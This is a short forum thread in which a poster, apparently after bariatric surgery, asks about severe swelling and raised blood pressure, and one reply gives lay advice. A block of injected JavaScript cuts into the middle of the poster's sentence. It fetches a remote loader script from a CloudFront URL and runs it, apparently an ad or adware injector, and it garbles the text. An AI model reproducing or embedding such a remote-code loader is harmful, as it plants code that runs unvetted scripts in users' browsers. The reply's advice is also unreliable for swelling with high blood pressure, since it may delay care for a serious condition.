Very concerned about swelling

Hi BOTT's!

I hope all is well.  I am staying the same weight wise but am EXTREMELY swollen in my abdomen, and my calves and my feet look like sausages.  I feel awful because of it.  Does anyone know what could be causing this?

And it isn't just heat, cause I am in cool A/C all day and it STILL happens.

And my blood pressure has been elevated for weeks :(  Like around 140/90 if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};
Swelling can be caused by too many things to make a guess.  I would contact my PCP and let them take a few tests to see what is causing this if it continues.  I would drink plenty of fluids and watch  my sodium until I knew for sure though.  I hope you find out soon.  Let us know what it is when you find out.
